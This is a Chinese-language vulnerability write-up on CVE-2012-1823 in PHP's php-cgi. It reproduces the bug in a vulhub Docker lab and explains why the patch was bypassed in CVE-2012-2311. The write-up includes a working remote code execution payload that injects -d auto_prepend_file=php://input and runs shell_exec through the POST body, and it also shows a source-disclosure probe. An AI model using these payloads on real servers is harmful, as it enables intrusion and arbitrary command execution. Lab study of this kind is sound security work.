在PHP源碼中,有一個目錄叫sapi。sapi在PHP中的做用,相似一個消息的「傳遞者」,(PHP-FPM中的fpm,其做用就是接受web容器經過fastcgi協議封裝好的數據,交給PHP解釋器執行;除了fpm,最多見的sapi應該是用於Apache的mod_php,這個sapi用於php和apache之間的數據交換。)
php-cgi也是一個sapi。在遠古的時候,web應用的運行方式很簡單,web容器接收到http數據包後,拿到用戶請求的文件(cgi腳本),並fork出一個子進程(解釋器)去執行這個文件,而後拿到執行結果,直接返回給用戶,同時這個解釋器子進程也就結束了。基於bash、perl等語言的web應用多半都是以這種方式來執行,這種執行方式通常就被稱爲cgi,在安裝Apache的時候默認有一個cgi-bin目錄,最先就是放置這些cgi腳本用的。
但cgi模式有個致命的缺點,衆所周知,進程的建立和調度都是有必定消耗的,並且進程的數量也不是無限的。因此,基於cgi模式運行的網站一般不能同時接受大量請求,不然每一個請求生成一個子進程,就有可能把服務器擠爆。因而後來就有了fastcgi,fastcgi進程能夠將本身一直運行在後臺,並經過fastcgi協議接受數據包,執行後返回結果,但自身並不退出。php
php有一個叫php-cgi的sapi,php-cgi有兩個功能,一是提供cgi方式的交互,二是提供fastcgi方式的交互。也就說,咱們能夠像perl同樣,讓web容器直接fork一個php-cgi進程執行某腳本;也能夠在後臺運行php-cgi -b 127.0.0.1:9000(php-cgi做爲fastcgi的管理器),並讓web容器用fastcgi協議和9000交互。
那我以前說的fpm又是什麼呢?爲何php有兩個fastcgi管理器?php確實有兩個fastcgi管理器,php-cgi能夠以fastcgi模式運行,fpm也是以fastcgi模式運行。但fpm是php在5.3版本之後引入的,是一個更高效的fastcgi管理器,因此如今愈來愈多的web應用使用php-fpm去運行php。
CVE-2012-1823就是php-cgi這個sapi出現的漏洞,我上面介紹了php-cgi提供的兩種運行方式:cgi和fastcgi,本漏洞只出如今以cgi模式運行的php中。這個漏洞簡單來講,就是用戶請求的querystring被做爲了php-cgi的參數,最終致使了一系列結果。探究一下原理,RFC3875中規定,當querystring中不包含沒有解碼的=號的狀況下,要將querystring做爲cgi的參數傳入。因此,Apache服務器按要求實現了這個功能。html
利用vulhub漏洞環境進行測試 進入ssrf漏洞環境 cd vulhub-master/php/CVE-2012-1823 進行環境構建 docker-compose build 啓動環境 docker-compose up -d
而後訪問目標地址
http://ip:8080
訪問目標地址git
http:ip:8080/index.php/?-s
若返回源碼,則說明存在此漏洞github
經過閱讀源碼,發現cgi模式下經過可控命令行參數有以下一些參數可用:
web
-c 指定php.ini文件的位置 -n 不要加載php.ini文件 -d 指定配置項 -b 啓動fastcgi進程 -s 顯示文件源碼 -T 執行指定次該文件 -h和-? 顯示幫助
能夠看出最簡單的就是利用-s查看源碼
任意代碼執行
經過使用-d指定auto_prepend_file來製造任意文件包含漏洞,執行任意代碼:
利用burpsuite抓包,而後修改數據包內容在`index.php?`後面添加
docker
-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
再添加傳輸內容shell
<?php echo shell_exec("id"); ?>
以下:
能夠看出body中的代碼內容已經被執行並返回結果
原理分析
PHP是一門強大的語言,PHP.INI中有兩個有趣的配置項,auto_prepend_file和auto_append_file。auto_prepend_file是告訴PHP,在執行目標文件以前,先包含auto_prepend_file中指定的文件;auto_append_file是告訴PHP,在執行完成目標文件後,包含auto_append_file指向的文件。
那麼就有趣了,假設咱們設置auto_prepend_file爲php://input,那麼就等於在執行任何php文件前都要包含一遍POST的內容。因此,咱們只須要把待執行的代碼放在Body中,他們就能被執行了。(固然,還須要開啓遠程文件包含選項allow_url_include)
那麼,咱們怎麼設置auto_prepend_file的值?
這又涉及到PHP-FPM的兩個環境變量,PHP_VALUE和PHP_ADMIN_VALUE。這兩個環境變量就是用來設置PHP配置項的,PHP_VALUE能夠設置模式爲PHP_INI_USER和PHP_INI_ALL的選項,PHP_ADMIN_VALUE能夠設置全部選項。(disable_functions除外,這個選項是PHP加載的時候就肯定了,在範圍內的函數直接不會被加載到PHP上下文中)
因此,咱們最後傳入以下環境變量:
apache
{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1' 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' }
設置`auto_prepend_file = php://input`且`allow_url_include = On`,而後將咱們須要執行的代碼放在Body中,便可執行任意代碼。api
CVE-2012-2311
這個漏洞被爆出來之後,PHP官方對其進行了修補,發佈了新版本5.4.2及5.3.12,但這個修復是不徹底的,能夠被繞過,進而衍生出CVE-2012-2311漏洞。
PHP的修復方法是對-進行了檢查:
安全
if(query_string = getenv("QUERY_STRING")) { decoded_query_string = strdup(query_string); php_url_decode(decoded_query_string, strlen(decoded_query_string)); if(*decoded_query_string == '-' && strchr(decoded_query_string, '=') == NULL) { skip_getopt = 1; } free(decoded_query_string); }
可見,獲取querystring後進行解碼,若是第一個字符是-則設置skip_getopt,也就是不要獲取命令行參數。
這個修復方法不安全的地方在於,若是運維對php-cgi進行了一層封裝的狀況下:
#!/bin/sh
exec /usr/local/bin/php-cgi $*
經過使用空白符加-的方式,也能傳入參數。這時候querystring的第一個字符就是空白符而不是-了,繞過了上述檢查。
因而,php5.4.3和php5.3.13中繼續進行修改:
if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) { /* we've got query string that has no = - apache CGI will pass it to command line */ unsigned char *p; decoded_query_string = strdup(query_string); php_url_decode(decoded_query_string, strlen(decoded_query_string)); for (p = decoded_query_string; *p && *p <= ' '; p++) { /* skip all leading spaces */ } if(*p == '-') { skip_getopt = 1; } free(decoded_query_string); }
先跳過全部空白符(小於等於空格的全部字符),再判斷第一個字符是不是-。
參考連接:
(https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html)
[https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823#cve-2012-2311](https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823#cve-2012-2311)